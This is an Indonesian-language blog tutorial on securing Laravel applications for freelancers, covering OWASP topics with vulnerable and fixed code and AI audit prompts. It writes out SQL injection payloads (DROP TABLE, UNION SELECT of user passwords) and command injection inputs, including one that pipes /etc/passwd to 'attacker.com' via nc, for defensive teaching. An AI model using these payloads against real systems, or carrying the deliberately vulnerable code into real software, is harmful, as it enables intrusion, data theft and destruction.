Cybersecurity bukan lagi skill opsional untuk freelance Laravel developer. Di era di mana data breach terjadi hampir setiap hari dan client semakin aware tentang keamanan, kemampuan membangun aplikasi yang secure menjadi competitive advantage yang sangat berharga. Artikel ini akan membahas panduan lengkap cybersecurity untuk freelancer, dari OWASP Top 10 sampai implementasi praktis dengan bantuan AI.
Halo, saya Angga Risky Setiawan, founder dari BuildWithAngga.
Saya mau cerita pengalaman yang mengubah cara pandang saya tentang security. Beberapa tahun lalu, ada kenalan freelancer yang project-nya kena hack. Website e-commerce client-nya disusupi, database customer bocor, termasuk data kartu kredit.
Client marah besar. Project yang sudah dibayar lunas berujung tuntutan ganti rugi. Reputasi freelancer itu hancur. Butuh waktu bertahun-tahun untuk rebuild trust di market.
Yang bikin miris, vulnerability-nya sederhana. SQL injection di form pencarian yang tidak di-sanitize. Sesuatu yang seharusnya bisa dicegah dengan pengetahuan dasar security.
Ini bukan cerita untuk menakut-nakuti. Ini realita yang harus kita hadapi sebagai developer.
Banyak freelancer yang fokus ke fitur dan deadline tapi mengabaikan security. Mindset-nya "project kecil, siapa yang mau hack" atau "nanti aja security-nya kalau sudah besar."
Padahal automated bots tidak peduli besar kecilnya project. Mereka scan ribuan website setiap hari, mencari vulnerability umum seperti SQL injection, exposed admin panels, atau default credentials. Project kecil justru sering jadi target karena biasanya kurang proteksi.
Kalau project client kena breach, dampaknya buat freelancer sangat serius.
Reputasi langsung hancur. Di era social media dan review online, satu incident bisa menyebar cepat. Calon client yang Google nama kamu dan menemukan berita breach akan langsung skip.
Tergantung kontrak dan regulasi, kamu bisa dituntut secara hukum. Apalagi kalau project di industri yang ada compliance requirement seperti fintech atau healthcare.
Client existing akan kehilangan trust. Project yang sedang jalan bisa di-cancel. Referral yang tadinya mengalir bisa berhenti total.
Yang paling menyakitkan, kamu harus kerja extra untuk fix dan recovery tanpa bayaran tambahan. Berhari-hari atau berminggu-minggu waktu terbuang untuk sesuatu yang seharusnya bisa dicegah dari awal.
Sekarang saya mau balik perspektifnya. Security skill bukan cuma untuk menghindari masalah, tapi juga peluang untuk meningkatkan value sebagai freelancer.
Dengan kemampuan secure development yang solid, kamu bisa charge premium 20-50% lebih tinggi. Client yang serius tentang bisnis mereka bersedia bayar lebih untuk developer yang paham security.
Kamu juga bisa masuk ke project di industri regulated. Fintech, healthcare, government, e-commerce yang handle payment. Semua butuh developer yang paham compliance dan security requirements. Market ini lebih kecil tapi bayarannya jauh lebih besar.
Yang paling penting, kamu jadi berbeda dari ribuan freelancer lain. Saat kebanyakan developer cuma bisa bilang "saya bisa bikin fitur X", kamu bisa bilang "saya bisa bikin fitur X dengan security best practices dan compliance dengan standar industri."
Artikel ini akan membahas security secara praktis untuk Laravel developer.
Bukan teori yang mengawang-awang atau konsep yang susah diimplementasi. Setiap vulnerability akan saya jelaskan dengan contoh code nyata, cara attacker exploit, dan fix yang bisa langsung kamu terapkan di project.
Saya juga akan share cara menggunakan AI seperti ChatGPT dan Claude untuk membantu security audit. Ini game changer untuk freelancer yang tidak punya budget untuk hire security consultant.
Framework yang akan kita gunakan adalah OWASP Top 10.
OWASP atau Open Web Application Security Project adalah organisasi non-profit yang fokus pada keamanan aplikasi web. OWASP Top 10 adalah daftar 10 risiko keamanan paling critical yang di-update secara berkala berdasarkan data real dari ribuan aplikasi.
Ini standar industri yang diakui globally. Banyak compliance requirement seperti PCI DSS untuk payment processing mensyaratkan proteksi terhadap OWASP Top 10.
Di artikel ini, kita akan fokus pada vulnerability yang paling relevan untuk Laravel developer.
Injection attacks seperti SQL injection dan command injection yang bisa memberikan attacker akses ke database atau server. Authentication dan session security untuk mencegah unauthorized access ke akun user. Sensitive data exposure dan cara melindungi data seperti password, nomor KTP, dan informasi finansial. Security misconfiguration yang sering jadi penyebab breach meski code-nya sudah benar. Cross-site scripting dan CSRF yang bisa digunakan untuk menyerang user aplikasi.
Setiap topik akan dilengkapi dengan contoh prompt AI untuk security audit yang bisa kamu pakai langsung di project.
Mari kita mulai dengan vulnerability yang paling berbahaya dan paling sering ditemui: injection attacks.
Injection Attacks - SQL Injection dan Command Injection di Laravel
SQL injection dan command injection adalah dua vulnerability paling berbahaya di aplikasi web. Keduanya memungkinkan attacker menyisipkan perintah jahat melalui input yang tidak di-sanitize. Laravel menyediakan proteksi built-in untuk mencegah injection, tapi kesalahan developer masih bisa membuat aplikasi vulnerable. Bagian ini akan membahas cara kerja injection attacks dan implementasi pencegahan yang benar.
Memahami Injection Attack
Injection attack seperti seseorang yang menyisipkan perintah jahat ke dalam input yang seharusnya hanya data biasa.
Bayangkan kamu punya formulir pencarian produk. User seharusnya ketik "laptop" atau "sepatu". Tapi attacker ketik perintah database yang menghapus semua data. Kalau input tidak di-validasi dengan benar, perintah itu akan dieksekusi.
Ini bukan teori. SQL injection secara konsisten masuk top 3 OWASP selama lebih dari satu dekade. Banyak breach besar terjadi karena vulnerability ini.
SQL Injection
SQL injection terjadi ketika input user langsung dimasukkan ke dalam query database tanpa sanitasi.
Risikonya sangat serius. Attacker bisa membaca seluruh database termasuk password, data personal, dan informasi finansial. Mereka bisa memodifikasi atau menghapus data. Bypass authentication untuk login sebagai admin. Dalam kasus tertentu, bahkan bisa mengambil alih server.
Saya kasih contoh code Laravel yang vulnerable:
// VULNERABLE - Raw query dengan string concatenation
public function search(Request $request)
{
$keyword = $request->input('keyword');
// Input user langsung di-concat ke query string
$products = DB::select("SELECT * FROM products WHERE name LIKE '%$keyword%'");
return view('products.index', compact('products'));
}
Code di atas terlihat innocent. Cuma search biasa kan? Tapi lihat apa yang terjadi kalau attacker input seperti ini:
Input: '; DROP TABLE products; --
Query yang dieksekusi menjadi:
SELECT * FROM products WHERE name LIKE '%'; DROP TABLE products; --%'
Query pertama selesai di titik koma. Lalu command DROP TABLE dieksekusi. Dua strip di akhir membuat sisa query jadi comment yang diabaikan. Hasil akhir? Tabel products terhapus.
Attacker juga bisa mencuri data dengan teknik UNION injection:
Input: ' UNION SELECT id, email, password, NULL FROM users --
Query menjadi:
SELECT * FROM products WHERE name LIKE '%' UNION SELECT id, email, password, NULL FROM users --%'
Sekarang hasil query menampilkan semua data dari tabel users termasuk password hash.
Cara fix-nya sangat simpel di Laravel. Gunakan Eloquent atau Query Builder:
// SECURE - Menggunakan Eloquent
public function search(Request $request)
{
$keyword = $request->input('keyword');
// Eloquent otomatis escape input
$products = Product::where('name', 'like', '%' . $keyword . '%')->get();
return view('products.index', compact('products'));
}
Eloquent dan Query Builder Laravel menggunakan prepared statements di belakang layar. Input user di-treat sebagai data, bukan sebagai bagian dari query structure. Jadi mau input apapun, tidak akan pernah bisa mengubah query.
Kalau kamu benar-benar harus pakai raw query, gunakan parameter binding:
// SECURE - Raw query dengan parameter binding
public function search(Request $request)
{
$keyword = $request->input('keyword');
// Tanda tanya adalah placeholder untuk parameter
$products = DB::select(
"SELECT * FROM products WHERE name LIKE ?",
['%' . $keyword . '%']
);
return view('products.index', compact('products'));
}
// SECURE - Named parameter binding
$products = DB::select(
"SELECT * FROM products WHERE name LIKE :keyword",
['keyword' => '%' . $keyword . '%']
);
Dengan parameter binding, input user tidak pernah menjadi bagian dari query string. Database engine tahu bahwa itu adalah data, bukan instruksi.
Command Injection
Command injection lebih jarang tapi dampaknya lebih parah. Ini terjadi ketika aplikasi menjalankan system command dengan input user.
Contoh skenario: aplikasi punya fitur convert gambar atau generate PDF yang memanggil command line tool.
// VULNERABLE - User input langsung di-concat ke shell command
public function convertImage(Request $request)
{
$filename = $request->input('filename');
// Menjalankan ImageMagick convert
exec("convert /uploads/$filename /converted/$filename.png");
return response()->json(['status' => 'converted']);
}
Terlihat simpel, tapi lihat exploit-nya:
Input: image.jpg; rm -rf /var/www
Command yang dieksekusi:
convert /uploads/image.jpg; rm -rf /var/www /converted/image.jpg; rm -rf /var/www.png
Semicolon memisahkan command. Setelah convert, command rm -rf dieksekusi yang menghapus seluruh direktori web.
Attacker bahkan bisa lebih kreatif:
Input: image.jpg; cat /etc/passwd | nc attacker.com 1234
Command ini mengirim file password server ke attacker.
Cara mengamankan command injection:
// SECURE - Validasi ketat dan escapeshellarg
public function convertImage(Request $request)
{
// Validasi: hanya alphanumeric, underscore, dash, dan dot
$request->validate([
'filename' => ['required', 'string', 'regex:/^[a-zA-Z0-9_\\-\\.]+$/']
]);
$filename = $request->input('filename');
// Pastikan file benar-benar ada di folder uploads
$filepath = storage_path('uploads/' . $filename);
if (!file_exists($filepath)) {
abort(404, 'File not found');
}
// escapeshellarg membungkus argument dengan quote dan escape special chars
$safeInput = escapeshellarg($filepath);
$safeOutput = escapeshellarg(storage_path('converted/' . $filename . '.png'));
exec("convert $safeInput $safeOutput");
return response()->json(['status' => 'converted']);
}
Tapi solusi terbaik adalah menghindari shell command sama sekali. Gunakan PHP library:
// BEST PRACTICE - Gunakan PHP library instead of shell command
use Intervention\\Image\\Facades\\Image;
public function convertImage(Request $request)
{
$request->validate([
'filename' => ['required', 'string', 'regex:/^[a-zA-Z0-9_\\-\\.]+$/']
]);
$filename = $request->input('filename');
$filepath = storage_path('uploads/' . $filename);
if (!file_exists($filepath)) {
abort(404, 'File not found');
}
// Intervention Image - pure PHP, tidak ada shell command
$image = Image::make($filepath);
$image->save(storage_path('converted/' . $filename . '.png'));
return response()->json(['status' => 'converted']);
}
Dengan PHP library, tidak ada shell command yang dieksekusi. Tidak ada kemungkinan command injection sama sekali.
Prompt AI untuk Audit Injection
Kamu bisa menggunakan AI untuk membantu menemukan injection vulnerabilities. Berikut prompt yang efektif:
Review code Laravel berikut untuk injection vulnerabilities:
1. SQL Injection
- Cari penggunaan DB::select(), DB::statement(), DB::raw() dengan string concatenation
- Cari query yang di-build dengan variable interpolation
- Cek apakah whereRaw(), orderByRaw(), dll menggunakan user input
2. Command Injection
- Cari penggunaan exec(), shell_exec(), system(), passthru(), proc_open()
- Cek apakah ada user input yang masuk ke shell command
- Verify apakah escapeshellarg() atau escapeshellcmd() digunakan
Untuk setiap vulnerability yang ditemukan:
- Jelaskan bagaimana attacker bisa exploit
- Berikan contoh payload serangan
- Berikan code fix yang secure dengan penjelasan
[paste code controller dan model]
Contoh output yang bisa kamu harapkan:
## Vulnerability Found
### 1. SQL Injection di ProductController@search (Critical)
**Lokasi:** Line 45-48
**Code vulnerable:**
```php
$products = DB::select("SELECT * FROM products WHERE category = '$category'");
Cara exploit: Input: electronics' OR '1'='1 Query menjadi: SELECT * FROM products WHERE category = 'electronics' OR '1'='1' Ini mengembalikan semua products karena '1'='1' selalu true.
Payload lebih berbahaya: Input: '; DELETE FROM products WHERE '1'='1
Fix:
$products = Product::where('category', $category)->get();
// atau
$products = DB::select("SELECT * FROM products WHERE category = ?", [$category]);
Checklist Injection Prevention
Sebelum deploy, pastikan checklist ini terpenuhi:
- Semua database query menggunakan Eloquent atau Query Builder
- Jika harus raw query, selalu gunakan parameter binding
- Tidak ada string concatenation atau interpolation di query
- Validasi semua input dengan Laravel validation rules
- Hindari shell command dengan user input
- Jika harus shell command, gunakan escapeshellarg() dan validasi ketat
- Lebih baik lagi, gunakan PHP library daripada shell command
- Regular expression untuk whitelist karakter yang diizinkan
Injection attacks adalah vulnerability yang paling mudah dicegah sekaligus paling berbahaya jika diabaikan. Dengan menggunakan fitur built-in Laravel dengan benar, kamu sudah mengeliminasi sebagian besar risiko.
Sekarang kita lanjut ke vulnerability berikutnya yang tidak kalah penting: authentication dan session security.
Authentication dan Session Security di Laravel
Authentication adalah gerbang utama aplikasi. Jika authentication lemah, attacker bisa masuk sebagai user atau bahkan admin tanpa perlu exploit vulnerability lain. Bagian ini membahas cara mengamankan password storage, mencegah brute force attacks, mengkonfigurasi session yang secure, dan mengimplementasikan two-factor authentication di Laravel.
Password Security
Penyimpanan password yang tidak aman adalah bom waktu.
Bayangkan database kamu bocor. Kalau password disimpan plain text, semua akun langsung compromised. Kalau di-hash dengan algorithm lemah seperti MD5, attacker bisa crack dalam hitungan menit dengan rainbow table.
User sering pakai password yang sama di banyak tempat. Jadi kebocoran di aplikasi kamu bisa berdampak ke akun mereka di tempat lain juga.
Laravel sudah handle password hashing dengan bcrypt secara default. Tapi saya masih sering menemukan kesalahan ini di code freelancer:
// VULNERABLE - Password plain text (jangan pernah lakukan ini)
public function register(Request $request)
{
$user = new User();
$user->name = $request->name;
$user->email = $request->email;
$user->password = $request->password; // BAHAYA!
$user->save();
}
// VULNERABLE - Hash algorithm yang lemah
$user->password = md5($request->password); // Bisa di-crack dalam detik
$user->password = sha1($request->password); // Tidak jauh lebih baik
MD5 dan SHA1 dirancang untuk kecepatan, bukan keamanan password. Attacker dengan GPU modern bisa mencoba miliaran kombinasi per detik.
Cara yang benar menggunakan bcrypt atau Argon2:
// SECURE - Menggunakan Hash facade (bcrypt default)
public function register(Request $request)
{
$request->validate([
'name' => 'required|string|max:255',
'email' => 'required|email|unique:users',
'password' => 'required|min:8|confirmed',
]);
$user = User::create([
'name' => $request->name,
'email' => $request->email,
'password' => Hash::make($request->password),
]);
return redirect()->route('login');
}
// Atau menggunakan helper bcrypt()
$user->password = bcrypt($request->password);
// Untuk security lebih tinggi, gunakan Argon2
// config/hashing.php
'driver' => 'argon2id',
Bcrypt dan Argon2 dirancang intentionally slow. Ini membuat brute force menjadi tidak praktis. Mereka juga include salt otomatis, jadi dua user dengan password sama akan punya hash berbeda.
Brute Force Protection
Meski password di-hash dengan baik, attacker masih bisa mencoba login berkali-kali sampai berhasil. Ini disebut brute force attack.
Tanpa proteksi, attacker dengan list password umum bisa mencoba ribuan kombinasi. Password lemah seperti "password123" atau "admin2024" akan jebol dalam hitungan menit.
Laravel menyediakan rate limiting yang bisa kamu terapkan di route login:
// routes/web.php
Route::post('/login', [AuthController::class, 'login'])
->middleware('throttle:5,1'); // Maksimal 5 request per 1 menit
Tapi rate limiting by IP saja tidak cukup. Attacker bisa pakai banyak IP. Lebih baik kombinasikan dengan email:
// app/Providers/AppServiceProvider.php
use Illuminate\\Cache\\RateLimiting\\Limit;
use Illuminate\\Support\\Facades\\RateLimiter;
public function boot()
{
RateLimiter::for('login', function (Request $request) {
// Rate limit berdasarkan kombinasi email + IP
$key = $request->input('email') . '|' . $request->ip();
return Limit::perMinute(5)
->by($key)
->response(function () {
return response()->json([
'message' => 'Terlalu banyak percobaan login. Silakan tunggu 1 menit.'
], 429);
});
});
}
// routes/web.php
Route::post('/login', [AuthController::class, 'login'])
->middleware('throttle:login');
Untuk proteksi lebih kuat, implementasikan account lockout setelah beberapa failed attempts:
// Migration
Schema::table('users', function (Blueprint $table) {
$table->integer('failed_login_attempts')->default(0);
$table->timestamp('locked_until')->nullable();
});
// AuthController.php
public function login(Request $request)
{
$request->validate([
'email' => 'required|email',
'password' => 'required',
]);
$user = User::where('email', $request->email)->first();
// Cek apakah akun terkunci
if ($user && $user->locked_until && $user->locked_until > now()) {
$minutesLeft = now()->diffInMinutes($user->locked_until);
return back()->withErrors([
'email' => "Akun terkunci. Coba lagi dalam $minutesLeft menit."
]);
}
// Attempt login
if (!Auth::attempt($request->only('email', 'password'))) {
// Login gagal, increment counter
if ($user) {
$user->increment('failed_login_attempts');
// Lock setelah 5 kali gagal
if ($user->failed_login_attempts >= 5) {
$user->update([
'locked_until' => now()->addMinutes(30)
]);
return back()->withErrors([
'email' => 'Akun dikunci selama 30 menit karena terlalu banyak percobaan gagal.'
]);
}
}
return back()->withErrors(['email' => 'Email atau password salah.']);
}
// Login berhasil, reset counter
$user->update([
'failed_login_attempts' => 0,
'locked_until' => null
]);
$request->session()->regenerate();
return redirect()->intended('dashboard');
}
Perhatikan pesan error yang generic. Jangan bilang "password salah" atau "email tidak ditemukan" secara terpisah. Ini memberi tahu attacker apakah email valid atau tidak.
Session Security
Session adalah cara aplikasi mengingat bahwa user sudah login. Jika session tidak aman, attacker bisa mencuri atau memanipulasi session untuk impersonate user.
Ada dua serangan utama pada session: hijacking dan fixation.
Session hijacking terjadi ketika attacker mencuri session ID user yang sudah login. Bisa melalui XSS, network sniffing, atau malware. Dengan session ID tersebut, attacker bisa mengakses aplikasi sebagai user tersebut.
Session fixation terjadi ketika attacker memaksa user menggunakan session ID yang sudah diketahui attacker. Setelah user login dengan session ID tersebut, attacker bisa pakai session yang sama.
Konfigurasi session yang secure di Laravel:
// config/session.php
return [
// Gunakan database atau redis, bukan file
'driver' => env('SESSION_DRIVER', 'database'),
// Session expire dalam menit
'lifetime' => 120,
// Expire saat browser ditutup (opsional, untuk security lebih ketat)
'expire_on_close' => false,
// Encrypt session data
'encrypt' => true,
// Nama cookie yang tidak obvious
'cookie' => env('SESSION_COOKIE', 'app_session'),
// Domain untuk cookie
'domain' => env('SESSION_DOMAIN'),
// HTTPS only - cookie tidak dikirim via HTTP
'secure' => env('SESSION_SECURE_COOKIE', true),
// Tidak bisa diakses via JavaScript - mencegah XSS steal cookie
'http_only' => true,
// Same-site policy - mencegah CSRF
'same_site' => 'lax',
];
Setting secure dan http_only sangat penting. Secure memastikan cookie hanya dikirim via HTTPS, mencegah network sniffing. Http_only mencegah JavaScript mengakses cookie, mengurangi dampak XSS.
Untuk mencegah session fixation, selalu regenerate session setelah login:
public function login(Request $request)
{
if (Auth::attempt($request->only('email', 'password'))) {
// Regenerate session ID setelah login
// Ini mencegah session fixation attack
$request->session()->regenerate();
return redirect()->intended('dashboard');
}
return back()->withErrors(['email' => 'Invalid credentials']);
}
public function logout(Request $request)
{
Auth::logout();
// Invalidate session sepenuhnya
$request->session()->invalidate();
// Regenerate CSRF token
$request->session()->regenerateToken();
return redirect('/');
}
Regenerate session memberikan user session ID baru setelah login. Jadi meski attacker tahu session ID sebelum login, session ID tersebut sudah tidak valid.
Two-Factor Authentication
Password saja tidak cukup. Bisa ditebak, di-phish, atau bocor dari breach di tempat lain.
Two-factor authentication menambah layer kedua. Meski password bocor, attacker masih butuh faktor kedua yang biasanya ada di device fisik user.
Implementasi 2FA dengan package Laravel:
composer require laragear/two-factor
php artisan vendor:publish --provider="Laragear\\TwoFactor\\TwoFactorServiceProvider"
php artisan migrate
Setup di model User:
// app/Models/User.php
use Laragear\\TwoFactor\\TwoFactorAuthentication;
use Laragear\\TwoFactor\\Contracts\\TwoFactorAuthenticatable;
class User extends Authenticatable implements TwoFactorAuthenticatable
{
use TwoFactorAuthentication;
// ...
}
Controller untuk enable 2FA:
// app/Http/Controllers/TwoFactorController.php
class TwoFactorController extends Controller
{
public function setup(Request $request)
{
$user = $request->user();
// Generate secret dan QR code
$user->createTwoFactorAuth();
return response()->json([
'qr_code' => $user->twoFactorQrCodeSvg(),
'secret' => decrypt($user->two_factor_secret),
'recovery_codes' => $user->getRecoveryCodes(),
]);
}
public function confirm(Request $request)
{
$request->validate([
'code' => 'required|string|size:6',
]);
$user = $request->user();
if (!$user->confirmTwoFactorAuth($request->code)) {
return back()->withErrors(['code' => 'Kode tidak valid.']);
}
return redirect()->route('profile')
->with('status', 'Two-factor authentication berhasil diaktifkan.');
}
public function disable(Request $request)
{
$request->validate([
'password' => 'required|current_password',
]);
$request->user()->disableTwoFactorAuth();
return redirect()->route('profile')
->with('status', 'Two-factor authentication dinonaktifkan.');
}
}
Verifikasi 2FA saat login:
public function login(Request $request)
{
$request->validate([
'email' => 'required|email',
'password' => 'required',
]);
if (!Auth::attempt($request->only('email', 'password'))) {
return back()->withErrors(['email' => 'Invalid credentials']);
}
$user = Auth::user();
// Cek apakah user punya 2FA enabled
if ($user->hasTwoFactorEnabled()) {
// Logout sementara, redirect ke 2FA verification
Auth::logout();
$request->session()->put('2fa:user:id', $user->id);
return redirect()->route('two-factor.challenge');
}
$request->session()->regenerate();
return redirect()->intended('dashboard');
}
public function verifyTwoFactor(Request $request)
{
$request->validate([
'code' => 'required|string',
]);
$userId = $request->session()->get('2fa:user:id');
if (!$userId) {
return redirect()->route('login');
}
$user = User::find($userId);
// Verify code atau recovery code
if (!$user->validateTwoFactorCode($request->code)) {
return back()->withErrors(['code' => 'Kode tidak valid.']);
}
// Login user
Auth::login($user);
$request->session()->forget('2fa:user:id');
$request->session()->regenerate();
return redirect()->intended('dashboard');
}
Prompt AI untuk Audit Authentication
Gunakan prompt ini untuk memeriksa keamanan authentication:
Review implementasi authentication Laravel berikut dari segi security:
1. Password Storage
- Apakah menggunakan bcrypt atau argon2?
- Ada password yang disimpan plain text?
- Ada penggunaan hash lemah seperti md5 atau sha1?
2. Brute Force Protection
- Ada rate limiting untuk login endpoint?
- Rate limit by IP saja atau kombinasi dengan identifier lain?
- Ada account lockout mechanism?
- Berapa threshold untuk lockout?
3. Session Security
- Konfigurasi session cookie (secure, httponly, samesite)?
- Ada session regeneration setelah login?
- Ada session invalidation saat logout?
4. Authentication Logic
- Error message apakah generic atau memberi clue?
- Ada timing attack vulnerability di login check?
- Password validation rules sudah cukup kuat?
5. Two-Factor Authentication
- Apakah tersedia opsi 2FA?
- Recovery codes tersedia?
- 2FA bisa di-bypass?
Untuk setiap issue, berikan:
- Severity (Critical/High/Medium/Low)
- Cara exploit
- Code fix yang recommended
[paste authentication code]
Checklist Authentication Security
Sebelum deploy, verifikasi checklist ini:
Password:
- Password di-hash dengan bcrypt atau argon2
- Tidak ada plain text atau hash lemah
- Password validation minimal 8 karakter dengan complexity rules
Brute Force:
- Rate limiting aktif untuk login
- Account lockout setelah 5 failed attempts
- Error message generic, tidak memberi clue
Session:
- SESSION_SECURE_COOKIE=true di production
- http_only=true di config
- Session regeneration setelah login
- Session invalidation saat logout
2FA:
- Opsi 2FA tersedia untuk user
- Recovery codes digenerate
- 2FA verification tidak bisa di-skip
Authentication yang kuat adalah fondasi security aplikasi. Tanpa ini, vulnerability lain hampir tidak relevan karena attacker bisa langsung masuk lewat pintu depan.
Selanjutnya kita akan bahas cara melindungi data sensitif dan menghindari security misconfiguration.
Data Protection dan Security Misconfiguration
Sensitive data exposure dan security misconfiguration adalah dua penyebab breach yang sangat umum namun sebenarnya mudah dicegah. Banyak incident terjadi bukan karena attacker menemukan vulnerability canggih, tapi karena developer lupa mematikan debug mode atau tidak meng-encrypt data sensitif. Bagian ini membahas cara melindungi data dan menghindari kesalahan konfigurasi yang fatal.
Sensitive Data Exposure
Setiap aplikasi menyimpan data sensitif. Password dan credentials. Data personal seperti KTP, alamat, dan nomor HP. Data finansial seperti nomor kartu kredit dan rekening bank. API keys dan secrets. Untuk aplikasi healthcare, ada data medis yang sangat sensitif.
Semua data ini harus dilindungi dengan benar.
Kesalahan paling umum adalah mengembalikan semua field dari database ke response:
// VULNERABLE - Mengembalikan semua field termasuk yang sensitif
public function show(User $user)
{
return response()->json($user);
}
// Output yang dikirim ke client:
{
"id": 1,
"name": "John Doe",
"email": "[email protected]",
"password": "$2y$10$xxxhashedpasswordxxx",
"remember_token": "randomtokenhere",
"api_key": "sk-secret-api-key-12345",
"id_card_number": "3201234567890001",
"created_at": "2024-01-01T00:00:00.000000Z"
}
Password hash, remember token, API key, dan nomor KTP seharusnya tidak pernah dikirim ke frontend. Meski password di-hash, informasi ini tetap tidak boleh terexpose.
Cara pertama untuk fix adalah menggunakan $hidden di Model:
// app/Models/User.php
class User extends Authenticatable
{
/**
* Field yang disembunyikan dari array dan JSON
*/
protected $hidden = [
'password',
'remember_token',
'api_key',
'two_factor_secret',
'two_factor_recovery_codes',
];
}
Dengan $hidden, field tersebut tidak akan muncul saat model di-convert ke array atau JSON.
Tapi pendekatan yang lebih baik adalah menggunakan API Resources untuk kontrol penuh:
// app/Http/Resources/UserResource.php
namespace App\\Http\\Resources;
use Illuminate\\Http\\Resources\\Json\\JsonResource;
class UserResource extends JsonResource
{
public function toArray($request)
{
return [
'id' => $this->id,
'name' => $this->name,
'email' => $this->email,
'avatar' => $this->avatar_url,
'created_at' => $this->created_at->toISOString(),
// Hanya field yang memang boleh di-expose
// Tidak ada password, token, atau data sensitif
];
}
}
// Controller
public function show(User $user)
{
return new UserResource($user);
}
// Untuk collection
public function index()
{
$users = User::paginate(15);
return UserResource::collection($users);
}
API Resources memberikan kontrol explicit tentang field apa saja yang dikembalikan. Ini lebih aman daripada mengandalkan $hidden yang bisa terlupa.
Encryption untuk Data Sensitif
Beberapa data sensitif perlu di-encrypt bahkan di database.
Bayangkan skenario terburuk: database kamu bocor. Entah karena SQL injection, backup yang tidak aman, atau insider threat. Kalau data seperti nomor KTP atau kartu kredit disimpan plain text, langsung compromised.
Dengan encryption, meski database bocor, data tetap tidak terbaca tanpa encryption key.
Laravel menyediakan encryption yang mudah digunakan:
use Illuminate\\Support\\Facades\\Crypt;
// Encrypt saat menyimpan
public function store(Request $request)
{
$request->validate([
'id_card_number' => 'required|string|size:16',
'bank_account' => 'required|string',
]);
$user = $request->user();
$user->id_card_number = Crypt::encryptString($request->id_card_number);
$user->bank_account = Crypt::encryptString($request->bank_account);
$user->save();
return response()->json(['message' => 'Data saved securely']);
}
// Decrypt saat mengambil
public function show(Request $request)
{
$user = $request->user();
return response()->json([
'id_card_number' => Crypt::decryptString($user->id_card_number),
'bank_account' => Crypt::decryptString($user->bank_account),
]);
}
Untuk lebih clean, buat custom cast agar encryption otomatis:
// app/Casts/Encrypted.php
namespace App\\Casts;
use Illuminate\\Contracts\\Database\\Eloquent\\CastsAttributes;
use Illuminate\\Support\\Facades\\Crypt;
class Encrypted implements CastsAttributes
{
public function get($model, string $key, $value, array $attributes)
{
if ($value === null) {
return null;
}
try {
return Crypt::decryptString($value);
} catch (\\Exception $e) {
return null;
}
}
public function set($model, string $key, $value, array $attributes)
{
if ($value === null) {
return null;
}
return Crypt::encryptString($value);
}
}
// app/Models/User.php
class User extends Authenticatable
{
protected $casts = [
'id_card_number' => Encrypted::class,
'bank_account' => Encrypted::class,
'medical_record' => Encrypted::class,
];
}
Dengan custom cast, kamu bisa menggunakan field seperti biasa dan encryption/decryption terjadi otomatis:
// Otomatis encrypt saat save
$user->id_card_number = '3201234567890001';
$user->save();
// Otomatis decrypt saat akses
echo $user->id_card_number; // Output: 3201234567890001
// Di database tersimpan sebagai encrypted string
// eyJpdiI6IjEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1...
Penting: encryption key disimpan di APP_KEY di .env. Jaga kerahasiaan key ini. Jangan pernah commit ke git. Jangan share ke orang yang tidak perlu. Kalau key bocor, semua encrypted data bisa di-decrypt.
Security Misconfiguration
Misconfiguration adalah penyebab breach yang paling menyedihkan karena seharusnya mudah dicegah. Bukan bug di code, tapi kesalahan setting.
Debug Mode di Production
Ini kesalahan paling fatal dan paling sering terjadi:
// .env di production
APP_ENV=production
APP_DEBUG=true // BAHAYA BESAR!
Dengan debug mode aktif, setiap error menampilkan:
- Full stack trace dengan path file di server
- Database credentials di error message
- Environment variables
- Internal application structure
Attacker bisa mendapat informasi berharga hanya dengan memicu error.
// .env yang benar untuk production
APP_ENV=production
APP_DEBUG=false // WAJIB false
Selalu verifikasi sebelum deploy. Buat checklist deployment yang include pengecekan APP_DEBUG.
Exposed .env dan Credentials
File .env berisi semua secrets aplikasi. Database password, API keys, encryption key. File ini tidak boleh accessible dari web.
Konfigurasi Nginx untuk block akses:
# /etc/nginx/sites-available/your-app
server {
# ... konfigurasi lain ...
# Block akses ke hidden files dan .env
location ~ /\\.(?!well-known).* {
deny all;
}
location ~ /\\.env {
deny all;
}
# Block akses ke folder sensitif
location ~ ^/(storage|bootstrap|config|database|resources|routes)/ {
deny all;
}
}
Pastikan juga .env tidak ter-commit ke git:
# .gitignore
.env
.env.backup
.env.production
*.pem
*.key
storage/oauth-private.key
storage/oauth-public.key
Jangan pernah hardcode credentials di code:
// VULNERABLE - Credentials hardcoded
$client = new \\GuzzleHttp\\Client([
'headers' => [
'Authorization' => 'Bearer sk-12345-secret-api-key'
]
]);
// SECURE - Credentials dari environment
$client = new \\GuzzleHttp\\Client([
'headers' => [
'Authorization' => 'Bearer ' . config('services.api.key')
]
]);
// config/services.php
'api' => [
'key' => env('EXTERNAL_API_KEY'),
],
Improper Error Handling
Error message yang terlalu detail memberikan informasi ke attacker:
// VULNERABLE - Expose internal details
public function show($id)
{
try {
$product = Product::findOrFail($id);
return response()->json($product);
} catch (\\Exception $e) {
return response()->json([
'error' => $e->getMessage(),
'file' => $e->getFile(),
'line' => $e->getLine(),
'trace' => $e->getTraceAsString()
], 500);
}
}
// Response ke attacker:
{
"error": "SQLSTATE[42S02]: Base table or view not found: 1146 Table 'myapp.products' doesn't exist",
"file": "/var/www/myapp/app/Http/Controllers/ProductController.php",
"line": 45,
"trace": "#0 /var/www/myapp/vendor/laravel/framework/..."
}
Attacker sekarang tahu struktur database, path aplikasi, dan framework yang dipakai.
// SECURE - Generic error message, log internal details
public function show($id)
{
try {
$product = Product::findOrFail($id);
return response()->json($product);
} catch (\\Illuminate\\Database\\Eloquent\\ModelNotFoundException $e) {
return response()->json([
'error' => 'Produk tidak ditemukan.'
], 404);
} catch (\\Exception $e) {
// Log untuk debugging internal
Log::error('Product fetch failed', [
'id' => $id,
'error' => $e->getMessage(),
'trace' => $e->getTraceAsString(),
'user_id' => auth()->id(),
]);
// Response generic untuk user
return response()->json([
'error' => 'Terjadi kesalahan. Silakan coba lagi nanti.'
], 500);
}
}
Konfigurasi exception handler untuk production:
// app/Exceptions/Handler.php
public function render($request, Throwable $exception)
{
if ($request->expectsJson()) {
if ($exception instanceof ModelNotFoundException) {
return response()->json(['error' => 'Resource tidak ditemukan.'], 404);
}
if ($exception instanceof AuthenticationException) {
return response()->json(['error' => 'Unauthorized.'], 401);
}
if ($exception instanceof ValidationException) {
return response()->json([
'error' => 'Validasi gagal.',
'details' => $exception->errors()
], 422);
}
// Production: generic message
// Development: bisa tampilkan detail
if (app()->environment('production')) {
return response()->json(['error' => 'Internal server error.'], 500);
}
}
